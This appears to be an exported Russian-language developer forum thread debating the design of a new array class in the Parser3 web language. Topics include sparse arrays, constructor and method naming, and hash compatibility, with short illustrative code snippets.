Что касается применения, я наверное в большинстве случаев вместо хеша с цифровыми ключами буду использовать именно массив. Обращение к элементу быстрее и то, что элементы всегда обходятся по возрастанию, тоже часто желательно."
"86564","Не вижу смысла в этом. Синтетический тест не даст ровным счетом ничего.\
\
Рабочий тест нужно писать на двух языках с примерно похожей архитектурой, а это не сильно-то и возможно, к тому же ставить на один сервер и гонять в боевых условиях продолжительное время. Так себе идея, чтобы тратить время.\
\
По-моему сейчас больше имеет значение сколько проект прожил не вызывая нареканий после запуска, и не сильно делал нервы программисту и системногму админу."
"86565","[quote]По-моему сейчас больше имеет значение сколько проект прожил не вызывая нареканий после запуска, и не сильно делал нервы программисту и системногму админу.[/quote]\
\
По моему опыту сейчас, к сожалению, главное — распространённость.\
Чтобы программистов можно было менять как винтики и выбирать их из очереди желающих.\
\
Ну, и мода, понятно.\
Немодным инструментом нынче пользоваться — моветон.\
Ну и что, что работает — ему пять лет! ©"
"86566","В отсутствие примеров есть ощущение, что дырочность крайне редко нужна и можно не плодить половину методов.\
\
Дело, конечно, хозяйское, но зачем."
"86567","Допустим мы решили средствами парсера найти самый длинный тред на форуме. Код позволяет использовать как [url=\"/_/array/?hash=yes\"]хеш[/url], так и [url=\"/_/array/\"]массив[/url], но с разряженным массивом получается немного быстрее (в среднем ~0.10 секунды против ~0.12 секунды). И это учитывая, что в данном массиве 85% дырок. \
Если говорить более глобально, то почти любой хеш с цифровыми ключами — это кандидат на использование разряженного массива. Например, справочники id/значение, в базах данных нередко половина таблиц — такие справочники.\
[code]@main[]\
\
$data[^oSQL.table{SELECT thread_id as id FROM forum_message}]\
\
$tmp[^if($form:hash eq 'yes'){^hash::create[]}{^array::create[]}]\
\
before: ^rusage[]<br/>\
^data.menu{\
	$id[$data.id]\
	$tmp.$id($tmp.$id+1)\
}\
after: ^rusage[]<br/>\
\
$top[^hash::create[]]\
^tmp.foreach[k;v]{\
	^if($v>$top.v){\
		$top[ $.id[$k] $.v[$v] ]\
	}\
}\
Longest thread: $top.id with $top.v messages (from ^tmp.count[] threads with ^data.count[rows] messages)\
\
@rusage[]\
$cpu[$status:rusage.utime]\
^if(def $ocpu)($cpu-$ocpu)[0] gc_memory($status:memory.used/$status:memory.free)\
$ocpu[$cpu]\
[/code]"
"86568","Теперь всё ясно.\
\
В таком применении вместо хеша, бездырочный перебор (если бы захотели вывести промежуточные результаты) много удобнее.\
\
\
Но хешированная таблица всё равно быстрее!\
\
[code]before: ^rusage[]<br/>\
$tmp[^data.hash[id][\
	$.distinct[tables]\
]]\
after: ^rusage[]<br/>\
\
$top[^hash::create[]]\
^tmp.foreach[id;messages]{\
	^if($messages > $top.messages){\
		$top[\
			$.id($id)\
			$.messages($messages)\
		]\
	}\
}\
Longest thread: $top.id with $top.messages messages (from ^tmp.count[] threads with ^data.count[rows] messages)[/code]"
"86569","Тут надо поаккуратнее с распространенностью, а то окажется что который год подряд jQuery в топ 3 библиотек :)\
\
Если помнить о том что стек подбирается под задачу, то как язык поднять свой стартап — Парсер прекрасен. Особенно, если делать его небольшой командой."
"86570","Явно просится для массива и должно несложно получиться из hash::sql\
\
[code]\
^array::sql{запрос}[\
  $.limit(n)\
  $.offset(o)\
  $.bind[variables hash] \
  $.type[hash|string|array]\
]\
\
^array::sql{select column from table} -> [col_val_1, col_val_2, ...] — если запрос возвращает только один столбец, \
то формируем массив в котором значения становятся элементами массива. ($.type[string])\
\
^array::sql[select col1, col2, col3 from table] -> [$.col1[...] $.col2[...] $.col3[...];...] — если несколько колонок, \
то в каждом элементе хеш от строки ($.type[hash])\
\
^array::sql[select col1, col2, col3 from table][$.type[arrya]] -> [[col1_val;col2_val;col3_val];...] — если несколько колонок, \
то в каждом элементе хеш от строки ($.type[hash])\
[/code]\
\
Есть сильные сомнения, но для полноты картины можно добавить совместимый с hash::sql  вариант:\
[code]\
^array::sql{select type_id, name from types_table}[$.hash(true)] -> воpвращает массив с номерами элементов из первой колонки, \
а значением из второй. Если колонок больше, то, как в хеше, получаем из первой номер элемента, а из остальных хеш для value.\
[/code]\
\
Но я бы такое делал просто хешем."
"86571","Часто приходится разворачивать поле с массивом из постгреса, джисон с массивом в руте, или отдельную строку с csv. Прямо просится, потенциально расширяемый конструктор:\
\
[code]\
\
^array::parse[string;$.type[json|csv-string]]\
\
$v[^hash::sql{select 0, array_to_json(array_column) from table}[$.limit(1)]]\
$a[^array::parse[$v.0]\
\
$a[^array::parse[col1,col2,\"col, 3\";$.type[csv-string]]\
[/code]\
\
Разбор джисона и csv-строк у нас уже есть есть в других местах.\
\
И вишенка на торте, доработать string.split:\
[code]\
^s.split[,;val1,val2;la] -> [val1;val2]\
\
a - сформировать массив с частями строки. Нельзя указать вместе с h и v\
[/code]"
"86572","А точнее так:\
\
[code]^array::sql{запрос}[\
  $.limit(n)\
  $.offset(o)\
  $.bind[variables hash] \
  $.type[hash|string|table]\
  $.sparse(false|true) - по умолчанию false\
  $.distinct(true|false) - только для $.sparse(true)\
][/code]\
\
То есть при $.sparse(true) получается полный эквивалент ^hash::sql{}, но допустимы только цифровые ключи,\
а при $.sparse(false) суть результата та же, но последовательный массив и в данных минус колонка с id."
"86575","[quote]^array::parse[string;$.type[json][/quote]\
\
Точно не хочется, у парсинга json почти десяток опций, пусть они остаются в одном месте. Да и непонятно зачем, если ^json:parse[JSON-строка] в случае массива в руте и так теперь массив и вернет.\
\
[quote]^array::parse[string;$.type[csv-string]][/quote]\
\
В теории конечно можно, но у меня сомнения что это прямо таки частый случай. А если редкий, можно обойтись промежуточной таблицей. Поэтому кажется более полезным поддержать ^array::create[$table], чтобы был массив однорядных таблиц (для одного ряда можно использовать ^array::create[$table.fields]), если это будет чем-то полезным (хотя сомнительно).\
\
[quote]И вишенка на торте, доработать string.split:\
$s[val1;val2] ^s.split[,;a] -> [val1;val2][/quote]\
\
Это сделано и [url=\"https://github.com/artlebedev/parser3/commit/8c0ff878b15a6adabd247996d91964115267b913\"]закоммичено[/url]."
"86576","[quote]для одного ряда можно использовать ^array::create[$table.fields][/quote]\
\
Но это будет не очень эффективно, а вот ^table.cells[], который вернет массив ячеек, наверное будет оптимальнее."
"86578","а то сейчас приходится:\
[code] \
 if( ^Table.Column.double(0) > 0){\
   $var(^Table.Column.double(0))\
   $result[^var.format[%.0f]]\
 }{\
   $result[$Table.Column]\
 }\
[/code]\
\
а хотелось бьі:\
[code] \
 if( ^Table.Column.double(0) > 0){\
   $result[^Table.Column.double(0)[%.0f]]\
 }{\
   $result[$Table.Column]\
 }\
[/code]"
"86579","Результат double - число, а результат format - строка. Будет странно, если при добавлении параметра будет меняться тип результата. Что же касается задачи, то если надо отбросить дробную часть, мне кажется это проще делать так:\
\
[code]\
if( ^Table.Column.double(0) > 0){\
  $result[^math:trunc($Table.Column)] ^rem{здесь уже знаем, что в колонке число, поэтому .double(0) - лишнее}\
}{ ...\
[/code]"
"86581","Весь новый функционал покрыт тестами и доступен в [url=\"/download/nightly/\"]ночных сборках[/url], в том числе и под Windows.\
\
Инициализация массива:\
[code]$a[v1;v2;v3...]\
Или $a[^array::create[$array_or_hash]]\
Или $a[^array::sql{select query}]\
Или $a[^json:parse[[\"v1\",\"v2\",3]]]\
[/code]\
Обращение к элементу и присвоение значения элементу массива аналогично хешу с числовыми индексами: \
[code]$a.1 и $a.1[value][/code]\
Если задать в массиве все элементы (от нулевого до последнего), получится обычный массив. Но можно инициализировать только часть элементов, тогда получится разряженный массив (c \"дырками\"). Этой возможностью можно не пользоваться, но она делает массив полностью совместимым с хешом с числовыми индексами. Массив можно передавать параметром в методы хеша и у массива есть большинство методов хеша, которые работают аналогично:\
[code]^a.foreach[i;v]{code}\
^a.add[$h]\
^a.count[] или ^a.count[all], если нужно посчитать и дырки\
^a.keys[]\
^a.delete(i) - на месте элемента получается дырка\
^a.contains(i)\
^a.reverse[]\
^a.sort[i;v]($v)\
[/code]\
Методы отбора части элементов. Часть методов похожи на методы строки, другая аналогична методам хеша:\
[code]^a.left(n)\
^a.right(n)\
^a.mid(n;m)\
^a.select[i;v]($v>2)\
^a.at(n) - n не индекс, а порядковый номер (\"дырки\" пропускаются), еще может быть строкой first или last\
[/code]\
Кроме того, у массива есть методы похожие на методы таблицы:\
[code]^a.join[$b] - добавляет элементы переданного массива или хеша в конец массива (add перезаписывает элементы с одинаковыми индексами)\
^a.append[e1;e2;...] - добавляет элементы в конец массива, сколько параметров, столько элементов и будет добавлено.\
^a.insert(1)[e1;e2;...] - вставляет элементы в указанную позицию массива.\
[/code]\
И свои методы:\
[code]^a.remove(1) - удаляет элемент на указанной позиции со сдвигом последующих элементов\
^a.for[i;v]{code} - итерируется и по не инициализированным элементам\
[/code]\
Методы некоторых классов теперь могут возвращать массив. Сейчас это:\
[code]^table.cells[] - возвращает массив всех или ^table.cells(n) первых n ячеек текущего ряда таблицы\
^строка.split[,][a] - возвращает массив при указании опции поиска 'a'\
[/code]\
И ремарка касательно ^array::sql{}. По умолчанию результатом запроса считается обычный массив, но если передать опцию $.sparse(true), в первой колонке должен возвращаться индекс и поведение метода становится очень похожим на ^hash::sql{}. Кроме того, ^array::sql{} поддерживает множественные запросы с разными колонками в результате, например $a[^array::sql{select name from person^; select nick, food from pets}]\
\
По умолчанию размер массива ограничен миллионом элементов, можно изменить, задав значение переменной $MAIN:LIMITS.max_array_size\
\
Из планов: для полной совместимости с текущей версией дать возможность задать $json:array[hash], чтобы при парсинге массива в json как и сейчас создавался хеш с цифровыми ключами. Это уже можно задать у конкретного ^json:parse[], но при обновлении парсера на сайте может быть удобнее задать это один раз в auto.p."
"86584","[quote]В плюсах реализованного варианта то, что нет никаких проблем с обратной совместимостью и вносить ее ради возможности задать например $array[v0](10){code} пока не вижу.[/quote]\
\
Вот это насторожило, проверил — и действительно: можно создать только массив строк.\
\
А какие проблемы с совместимостью у кода [i]$array[v0](10){code}[/i]?"
"86585","\"массив полностью совместим с хешом с числовыми индексами\""
"86586","Поэтому есть дополнительно ^array.for, который их не пропускает."
"86587","Он позволяет инициализировать массив, элементами которого будут и объекты, и хеши.\
[code]$a[$object; $.k1[v1] $.k2[v2] ][/code]\
\
С кодом сложнее. Не уверен правда, что есть практические задачи, когда нужно хранить в массиве код, а не ссылку на метод например. Код обычно передается параметрах методам, а не сохраняется в переменные, поскольку срок годности кода ограничен методом, в котором он объявлен. Но можно сделать, чтобы ^a.append{some code} добавляло в массив именно код.\
\
[quote]А какие проблемы с совместимостью у кода $array[v0](10){code}?[/quote]\
\
Никаких. :) Cейчас (и в 3.4.6) это совершенно валидный код. Он присвоит переменной $array значение \"v0\" и выведет (10){code}. А вот изменить это поведение значит нарушить совместимость. :)"
"86588","[quote]Он позволяет инициализировать массив, элементами которого будут и объекты, и хеши.[/quote]\
\
Хочется использовать [i]$a(1;2;3.0)[/i] или [i]$a[a](2;3.0)[/i].\
\
[quote]Не уверен правда, что есть практические задачи, когда нужно хранить в массиве код, а не ссылку на метод например.[/quote]\
\
Да, но напрашивается единообразие — хранение любого типа."
"86589","Если специально $v.CLASS_NAME не проверять. Лишнего преобразования строка-число можно не бояться, накладные расходы в пределах погрешности. Я у себя в коде числа часто держу строками, круглые скобки больше для выражений использую."
"86590","Но не числа.\
\
Я стараюсь везде, где можно, явно использовать числа.\
Хотя бы «для порядка».\
\
Если синтаксис [i]$a(1;2;3.0)[/i] или [i]$a[a](2;3.0)[/i] несовместим — вопросов нет.\
А если несовместимостей не вызывает, то напрашивается поддержка для единообразия."
"86591","[quote]Если $a[a](2;3.0) несовместим.[/quote]\
\
Как уже сказал раньше, такая конструкция в 3.4.6 синтаксически допустима (а значит вполне может быть в чьем-то коде). Использовать её для инициализации массива - значит внести несовместимость.\
\
[quote]Если синтаксис $a(1;2;3.0) несовместим[/quote]\
\
А вот такой код в 3.4.6 выдает ошибку, можно сделать чтобы это было инициализацией массива. Но не уверен, что нужно, поскольку будет неестественно что нельзя сочетать разные скобки. В таких случаях можно использовать конструктор для инициализации (new это синоним к append):\
[code]$a[^array::new[v0](2;3.0)][/code]"
"86592","[quote]Как уже сказал раньше, такая конструкция в 3.4.6 синтаксически допустима (а значит вполне может быть в чьем-то коде).[/quote]\
\
А, это присвоение значения переменной и идущий за ним текст.\
\
Может, какой-нибудь флаг в [i]conf[/i] добавить, чтобы использовать полный синтаксис с перечислением при присвоении любых скобок?\
\
Но, понятно, не уверен, что это ещё кому-то нужно.\
\
\
[quote]В таких случаях можно использовать конструктор для инициализации (new это синоним к append)[/quote]\
\
А почему, кстати, не [i]create[/i] с любым количеством аргументов?\
[code]$a[^array::create[a](1;2.0)][/code]"
"86593","[quote]Может, какой-нибудь флаг в conf добавить, чтобы использовать полный синтаксис с перечислением при присвоении любых скобок?\
Но, понятно, не уверен, что это ещё кому-то нужно.[/quote]\
\
Это меня и смущает. Плюс усложнение компилятора, когда его наоборот упрощать требуется... :(\
\
[quote]А почему, кстати, не create с любым количеством аргументов?[/quote]\
\
create копирующий конструктор. ^array::create[$a] сделает копию массива $a, в то время как ^array::new[$a] сделает массив из одного элемента (в котором будет массив)."
"86594","[quote]create копирующий конструктор. ^array::create[$a] сделает копию массива $a, в то время как ^array::new[$a] сделает массив из одного элемента (в котором будет массив).[/quote]\
\
Смущает, конструктор [i]new[/i], который ранее в Парсере не использовался."
"86595","И по названию, и по функциональности методов. Альтернативно сейчас можно \
[code]$a[^array::create[]] ^a.append[v1](2)[v3][/code]\
Или вызывать ^array::append[value] как конструктор. Но мне показалось, что new логичнее (по факту это тот же append, просто под другим именем). Так уж получилось, что самым тонким моментом оказалось создание массива из одного элемента..."
"86596","Чтобы была более существенная разница с create. Мне build даже больше нравится"
"86597","Кажется, что можно отказаться от [i]new[/i], а [i]create[/i] позволить получать несколько аргументов.\
\
При этом [i]create[/i] всегда копирует содержимое всех аргументов в один массив:\
[code]\
$h1[$.1[a] $.2[b]]\
$h2[$.1[c] $.2[d]]\
$a[^array::create[$h1](3;4)[$h2]]\
# [\"a\", \"b\", 3, 4, \"c\", \"d\"]\
[/code]\
\
А если нужно получить именно вложенные массивы, то используем явный [i]append[/i]:\
[code]\
$h1[$.1[a] $.2[b]]\
$h2[$.1[c] $.2[d]]\
$a[^array::create[]]\
^a.append[$h1]\
^a.append(3;4)\
^a.append[$h2]\
# [[\"a\", \"b\"], 3, 4, [\"c\", \"d\"]]\
[/code]\
\
Так можно будет использовать [i]create[/i] как для копирования, так и для компактного создания массивов с нестроками:\
[code]\
$a[^array::create[a;b](3;4)[c;d]]\
# [\"a\", \"b\", 3, 4, \"c\", \"d\"]\
[/code]\
\
Возможно, вторая задача частая, в этом случае для неё можно завести отдельный конструктор a-la [i]copy[/i], который не будет сливать объекты, а помещать всё в надмассив.\
\
[code]\
$h1[$.1[a] $.2[b]]\
$h2[$.1[c] $.2[d]]\
$a[^array::copy[$h1](3;4)[$h2]]\
# [[\"a\", \"b\"], 3, 4, [\"c\", \"d\"]]\
[/code]"
"86598","у нас нет чёткого следования что конструкторы это исключительно глаголы, поэтому да"
"86599","Хотя, глагол, конечно, предпочтительнее.\
Сколько в том, что [i]new[/i] не даёт никакого пояснения о тонкостях работы и отличии от [i]create[/i]."
"86600","Во-первых, мне кажется странным метод, который то \"разворачивает\" элементы (для хеша/массива), то нет. А с объектом он как себя ведет? А почему, ведь это по сути хеш?\
Во-вторых, сейчас create делает полную копию параметра, включая \"дырки\". Для нескольких аргументов это довольно странно. Особенно если там будет несколько хешей с цифровыми индексами. \
В-третьих, так и не предложено решение для массива из одного элемента, кроме сочетания create/append.\
В-четвертых, предложенный вариант прямой путь к минусам, от которых мы страдали с хешами (к счастью, уже победили). Вот такой например код:\
[code]@setup[options]\
$a[^array::create[ \
   ^if($options.o1){\
         $.1(true)\
   }\
   ^if(def $options.o5){\
         $.5[$options.o5]\
   }\
]][/code]\
Если не будет опций, в предложенном варианте получится не пустой массив (как сейчас), а массив с \"пробельным\" элементом.\
\
Текущая реализация мне кажется более целостной. Если вопрос в непонятности сути конструктора, то да, название new не самое удачно (разве что короткое:). Правда make и build мне тоже не очень нравятся. Предлагаю рассмотреть еще ^array::array[1;2;3], ^array::elements[1;2;3], ^array::items[1;2;3], ^array::list[1;2;3], ^array::combine[1;2;3], может еще лучше варианты будут."
"86601","[quote]Текущая реализация мне кажется более целостной.[/quote]\
\
Я, возможно, чего-то недопонимаю, но при этом:\
1. главный конструктор, привычный по всем другим классам, не позволяет создать массив литерально в коде, а занимается только приведением других типов к массиву — есть мнение, это задача не «главного» конструктора, а какого-нибудь [i]array::parse[/i];\
2. нет простого способа создать массив нестрок.\
\
По-моему создание массива в коде — самая частая операция.\
И написать [i]^array::create(1;2;3)[d;e][/i] — первое, что приходит в голову по аналогии с [i]hash::create[/i] и [i]table::create[/i].\
В других языках для создания массива не нужно сначала создать массив (!) или хеш-таблицу.\
\
Даже простой [i]$a[^array::create[1]][/i] сейчас приводит к ошибке [i]param must be array or must have hash representation[/i], при этом [i]$a[^array::create[]][/i]  — не приводит.\
\
[quote]предложенный вариант прямой путь к минусам, от которых мы страдали с хешами (к счастью, уже победили).[/quote]\
\
И при этом нет простого способа слияния хешей в коде — каждый раз пляски с копированием через [i]hash::create[/i] и добавлением ключей к копии, чтобы не поймать [i]hash may not be overwritten with hash, store it to variable instead[/i].\
\
[quote]может еще лучше варианты будут[/quote]\
\
Моё мнение:\
1. [i]array::create[/i] должен позволять литерально создавать массивы в коде — это действительно та операция, которую заявляет имя конструктора;\
2. копирующий конструктор должен называться иначе; [i]array::parse[/i] — близкий по смыслу вариант, но по опыту с [i]json::parse[/i] подразумевает десериализацию, что сбивает с толку, пока ничего лучше избитого [i]array::init[/i] в голову не пришло."
"86602","Предлагаю такой вариант: текущий create переименовываем в copy, текущий new переименовываем в create.\
\
Вроде как это примерно что хочется? Текущая реализация такова в основном для большей похожести на хеш (чтобы только имя класса в существующем коде менять), но это не принципиально.\
\
[quote]По-моему создание массива в коде — самая частая операция.[/quote]\
\
Для которой мы сделали отдельный синтаксис $a[v1;v2;v3], который покрывает мне кажется 90% реальных случаев. :)\
\
[quote]И при этом нет простого способа слияния хешей в коде — каждый раз пляски с копированием через hash::create и добавлением ключей к копии, чтобы не поймать hash may not be overwritten with hash, store it to variable instead. [/quote]\
\
^хеш_a.union[хеш_b]? Если нужно что-то другое - скажи, метод добавить дело нехитрое."
"86603","[quote]Предлагаю такой вариант: текущий create переименовываем в copy, текущий new переименовываем в create.[/quote]\
\
Да, так, на мой взгляд, лучше.\
Только над [i]copy[/i] в этом контексте я бы ещё подумал, хоть и копирующий конструктор.\
\
[quote]По-моему создание массива в коде — самая частая операция.\
\
Для которой мы сделали отдельный синтаксис $a[v1;v2;v3], который покрывает мне кажется 90% реальных случаев.[/quote]\
\
Да, но только для строк и объектов.\
\
[quote]^хеш_a.union[хеш_b]? Если нужно что-то другое - скажи, метод добавить дело нехитрое.[/quote]\
\
Нет-нет, дело не в методе.\
\
Давным-давно с Мишей обсуждали конструкцию (не могу сходу найти обсуждение), пришли к выводу, что нереализуемо.\
Но всё равно печально, что нельзя легко объединять литеральный хеш и хеш из переменной (а в обратном порядке можно) или несколько хешей из переменных (даже с обёрткой в [i]hash::create[/i]):\
[code]\
$h1[$.1[a]]\
$h2[\
	$.2[b]\
	^hash::create[$h1]\
]\
# hash may not be overwritten with hash, store it to variable instead\
[/code]\
\
Тут, разве, что аргументы у того же [i]hash::create[/i] помогли бы:\
[code]\
$h1[$.1[a]]\
$h2[^hash::create[$.2[b];$h1;…]]\
[/code]\
Чтобы сразу сливать всё в один хеш и без побочных эффектов, как сейчас при:\
[code]$h1[$.1[a]]\
$h2[\
        $h1\
        $.2[b]\
][/code]"
"86604","[quote]Да, так, на мой взгляд, лучше.\
Только над copy в этом контексте я бы ещё подумал, хоть и копирующий конструктор.[/quote]\
\
Меня скорее смущает, что поведение ^array::create[$hash] и ^array::create[$array] не очень интуитивное. Но с другой стороны оно соответствует поведению $a[$hash;$array], поэтому так все-таки правильнее. Закоммитил, в ночных сборках (кроме Windows) уже такая версия.\
\
[quote]что нереализуемо.[/quote]\
\
Я бы так не сказал. Любое исключение это прям идеальный случай для изменения поведения, поскольку точно не будет проблем с обратной совместимостью. :) Более того, и с производительностью не может быть проблем, поскольку исключение едва ли будет \"проходным местом\". Что касается конкретного случая:\
\
[code]$h1[$.1[a]]\
$h2[$.2[b]]\
$hN[\
        ^hash::create[$h1]\
        $.2[b]\
]\
#а вот такое:\
$hN[\
        ^hash::create[$h1]\
        $h2\
]\
#по сути эквивалентно такому?\
$hN[^hash::create[$h1]]\
^hN.add[$h2][/code]\
\
Можно без проблем заменить исключение на ^hN.add[$h2], надо только оговорить границы. То, куда записывается - только хеш или и объект например тоже? А то, что записывается?\
Ну и решить насколько это вообще нужно. Экономия кода получается только если такую конструкцию использовать в параметрах метода при вызове."
"86605","«For [b]each[/b]» подразумевает перебор [b]каждого[/b] элемента.\
\
Есть мнение, их с [i]for[/i] стоит поменять местами."
"86606","foreach и перебирает каждый элемент. А дырки - пропускает (дырка и есть отсутствие элемента). И вот for как раз перебирает без условий (и по сути похож на обычный оператор for)."
"86607","В моём понимании [i]each[/i] не должен ничего пропускать, на то он и каждый.\
Если бы назывался [i]foreachdef[/i] или [i]foreachitem[/i] — вопросов нет, а в текущем виде сбивает с толку.\
Аналогичные методы таблицы и хеша не пропускают же пустые строки или элементы.\
\
Но у меня самому себе есть и контраргумент: перебор с пропуском дырок — наиболее частая операция с массивом, и, несмотря на то, что [i]for[/i] короче, [i]foreach[/i] привычнее по другим классам.\
\
Моя логика такова: если упор делается на совместимости массива с другими классами, а дырочность редкоиспользуема, то лучше иметь интерфейс, близкий другим классам, а если массив выделяется своим поведением, то лучше свой интерфейс.\
\
Как понимаю, Парсер идёт по первому пути."
"86608","[quote]Меня скорее смущает, что поведение ^array::create[$hash] и ^array::create[$array] не очень интуитивное. Но с другой стороны оно соответствует поведению $a[$hash;$array], поэтому так все-таки правильнее.[/quote]\
\
Да, «пусть уж безобразно, зато единообразно». ©\
\
Спасибо.\
\
Кстати, ещё странно, что хеш и массив можно передать на вход конструктору массива, а таблицу, которая — суть массив, нельзя.\
По-моему, было бы логично отбрасывать имена колонок и формировать массив масивов из строк.\
\
[quote]#по сути эквивалентно такому?[/quote]\
\
Да.\
\
[quote]Можно без проблем заменить исключение на ^hN.add[$h2], надо только оговорить границы. То, куда записывается - только хеш или и объект например тоже? А то, что записывается?\
Ну и решить насколько это вообще нужно. Экономия кода получается только если такую конструкцию использовать в параметрах метода при вызове.[/quote]\
\
Никак не могу найти обсуждение, там были примеры.\
Пробежался по коду: самый частый случай — переопределение или добавление ключей, но может ещё что-то было и забыл.\
\
Поищу и если смогу сформулировать потребность — заведу обсуждение.\
Спасибо."
"86609","[code]$a[0;1] $a.3[3][/code]\
\
С моей точки зрения элемента 2 в массиве нет. :) И ^a.count[] выдаст 3. Вот если сказать $a.2[$void], там будет пустой элемент. И поэтому в частности ^a.count[all], а не ^a.count[any] - подразумевается считать не только элементы, но и дырки.\
\
[quote]Но у меня самому себе есть и контраргумент: перебор с пропуском дырок — наиболее частая операция с массивом, и, несмотря на то, что for короче, foreach привычнее по другим классам.[/quote]\
\
Да, это тоже аргумент."
"86610","[quote]Кстати, ещё странно, что хеш и массив можно передать на вход конструктору массива, а таблицу, которая — суть массив, нельзя. По-моему, было бы логично отбрасывать имена колонок и формировать массив масивов из строк.[/quote]\
\
Есть ^таблица.hash{^таблица.offset[]}[ $.type[table] ]\
Оно конечно хеш, но с точки результата вроде как примерно то же самое. И поспорил бы насчет выкидывания имен колонок, мне кажется это должно быть опциональным. А раз так, то уместнее не конструктор, а ^таблица.array, что сделать конечно можно, если это востребовано. Только с опциями надо определиться."
"86611","Так что, сейчас открывается новый шанс:)"
"86612","Не очень нравится нейминг этих методов, т.к. по смыслу названий они делают одно и тоже, а по факту - нет. \
\
Может вместо remove ^a.pop(1) чтобы было понятно что происходит глядя на код?"
"86613","delete назван по аналогии с хешом, но можно например erase.\
remove точно можно переименовать например в cut, и заодно сделать опциональный второй параметр - \"сколько\".\
\
А вот pop не очень нравится, четкая ассоциация со стеком, причем еще и извлекаемый элемент должен возвращаться. \
Кстати если надо можно добавить push синонимом к append и pop как ^a.at[last] + удаление извлеченного элемента."
"86614","Имхо, если по аналогии с хэшом то мне кажется тот который remove как раз должен быть delete, т.к. поскольку хэш в дырки не играет принципиально, то и тут последствия должны быть такими же, бездырочными\
\
[code]^hash.count[] == 3\
^hash.delete[somekey]\
^hash.count[] == 2\
\
^a.count[] == 3\
^a.delete(2)\
^a.count[] == 2\
[/code]\
\
А вот для метода, оставляющего дырки стоит придумать название, чтобы было понятно что тут какая то магия ;)"
"86615","[quote]Этой возможностью (разряженностью) можно не пользоваться, но она делает массив полностью совместимым с хешом с числовыми индексами.[/quote]\
\
Суть в том, что можно просто заменить хеш на массив (а например при парсинге json такая замена будет происходить по умолчанию) и никак не менять код, результат исполнения будет таким же.\
[code]$h[ $.1[v1] $.3[v3] $.5[v5] ]\
$a[ ^array::copy[$h] ]\
$b[ ^array::copy[$h] ]\
\
^h.delete[3]\
^a.delete(3)\
^b.remove(3)\
\
h ^json:string[$h;]\
a ^json:string[$a; $.array[object]]\
b ^json:string[$b; $.array[object]][/code]\
Ниже результат исполнения, как видно после remove меняются индексы элементов -> потеря совместимости.\
[code]h {\
\"1\":\"v1\",\
\"5\":\"v5\"\
}\
a {\
\"1\":\"v1\",\
\"5\":\"v5\"\
}\
b {\
\"1\":\"v1\",\
\"4\":\"v5\"\
}[/code]\
И да, для полной совместимости добавлю возможность ^a.delete[3], забыл об этом. И что касается remove, пока cut мне кажется оптимальным названием."
"86616","[quote]И что касается remove, пока cut мне кажется оптимальным названием.[/quote]\
\
Лично у меня [i]cut[/i], по привычке с операциями буфера обмена, ассоциируется с вырезанием куда-то (метод возвращает вырезанный элемент в результате), а не удалением, a-la:\
[code]\
$a[a;b]\
$b[^a.cut(2)]\
\
# a: [\"a\"]\
# b: \"b\"\
[/code]\
\
Интуитивно для обнуления элемента до дырки без возвращения результата больше подходят [i]erase[/i], [i]blank[/i], [i]wipe[/i]."
"86618","Очень много приходится работать с заданием и сравнением множеств, как это было с optionset в двойке. Так что думаю, да пригодилось бы если это сулит экономию в ресурсах. \
\
Как-то так, может? ^array::parse[a b c john; ] вторым аргументом разделитель. \
\
- В БД бывает очень удобно хранить множества в одном поле, не заводя для него таблицу\
- очень удобно задавать множества в конфигах, причем разделитель может быть каким угодно"
"86619","Это же получается просто синоним к $s[a b c john] ^s.split[ ;a]? Одно действие а не два, но достаточно ли частое, чтобы делать отдельный конструктор?"
"86621","[quote]clip, crop, shrink[/quote]\
\
Это обрезка, получается.\
\
[quote]Или может лучше сделать splice, как в php/js?[/quote]\
\
Так он для выбрасывания или добавления элементов.\
Дырку из элемента не сделает."
"86622","К delete вопросов меньше, он так себя ведет для совместимости с хешом. Вопрос как делать/назвать \"обычное\" удаление (со сдвигом последующих элементов). Именно то, что делает splice в php/js. Название не самое очевидное, но знающим эти языки будет проще."
"86623","[quote]Так дырку делает delete[/quote]\
\
Ай, снова инверсная совместимая логика.\
\
[quote]Название не самое очевидное, но знающим эти языки будет проще.[/quote]\
\
Название ужасное.\
Да, знакомое, но в Парсере ничем не поддержанное.\
\
Лучшего имени метода удаления без дырки чем [i]remove[/i] мне в голову не приходит."
"86624","GPT тоже согласен. Без наводящих вопросов решил сам ответить так:\
Q:Как бы ты перевел на русский слова remove, delete?\
A:В контексте программирования:\
  Remove — обычно переводится как \"удалить\", с акцентом на то, что элемент не просто удаляется, но и может происходить сдвиг оставшихся элементов, чтобы не оставалось пробелов (например, \"удалить и сдвинуть\").\
  Delete — также переводится как \"удалить\", но с более общим значением. Часто предполагается, что элемент удаляется, но структура данных не изменяется, могут остаться \"пустоты\" на месте удаленного элемента (например, \"удалить с оставлением пустого места\").\
\
Минус в том, что первое значение обоих слов \"удалить\". Поэтому то, что их будут путать - неизбежно. ¯\\_(ツ)_/¯"
"86625","[quote]GPT тоже согласен[/quote]\
\
Тот ещё советчик!\
\
Мне самым логичным вариантом кажется delete для удаления со сдвигом и erase для стирания до дырки.\
\
Но раз нужно сохранить преемственность интерфейса и delete занят, то лучше пары [i]remove[/i] вряд ли что-то найдётся.\
\
Скажем, какие-нибудь [i]kickout[/i] или [i]throw[/i] чуть специфичнее описывают процесс выбрасывания элемента, но совсем непривычные.\
\
Согласен, что это вопрос привычки.\
Главное, что есть общая логика сохранения совместимости интерфейса с хешем — уже фундамент."
"86626","Нужны ли? Делается просто и на производительности не скажется."
"86627","Многое что сейчас закладывается для Array, покажет себя только в процессе, но last видится необходимым, а first просто за компанию :)"
"86629","Даже не только в объявлениях в коде, но и в БД часто хранятся разные списки, которые почти всегда подразумевают перечисление значений, т.е. уникальность каждого значения. \
\
При этом такие списки могут составляться из нескольких конкатенированных строк\
$admins[Маша Петя 454]$users[Вова Маша     $admins]\
\
^admins.split[] создаст дубликаты и пустые строки, которые все равно чистить."
"86630","Нужна уникальность - нужен хеш. Например\
\
[code]$a[^s.split[ ;a]]\
$result[^hash::create[]]\
^a.foreach[;v]{ $result.$v(true) }[/code]"
"86632","[code]@main[]\
  $admins[Маша Петя 454]\
  $users[Вова Маша $admins]\
\
  ^json:string[^splitToSet[$users; ]]\
\
@splitToSet[aStr;aSep][locals]\
  $t(true)\
  $result[^aStr.split[$aSep]]\
  $result[^result.hash[piece]{$t}[\
    $.distinct(true)\
  ]]\
\
-------\
\
{\
\"Вова\":true,\
\"Маша\":true,\
\"Петя\":true,\
\"454\":true\
}\
[/code]\
\
p.s. В массиве уникальность точно лишняя. :)"
"86633","Массиву уникальность не нужна, а вот [i]split[/i]'у в будущем не помешала бы.\
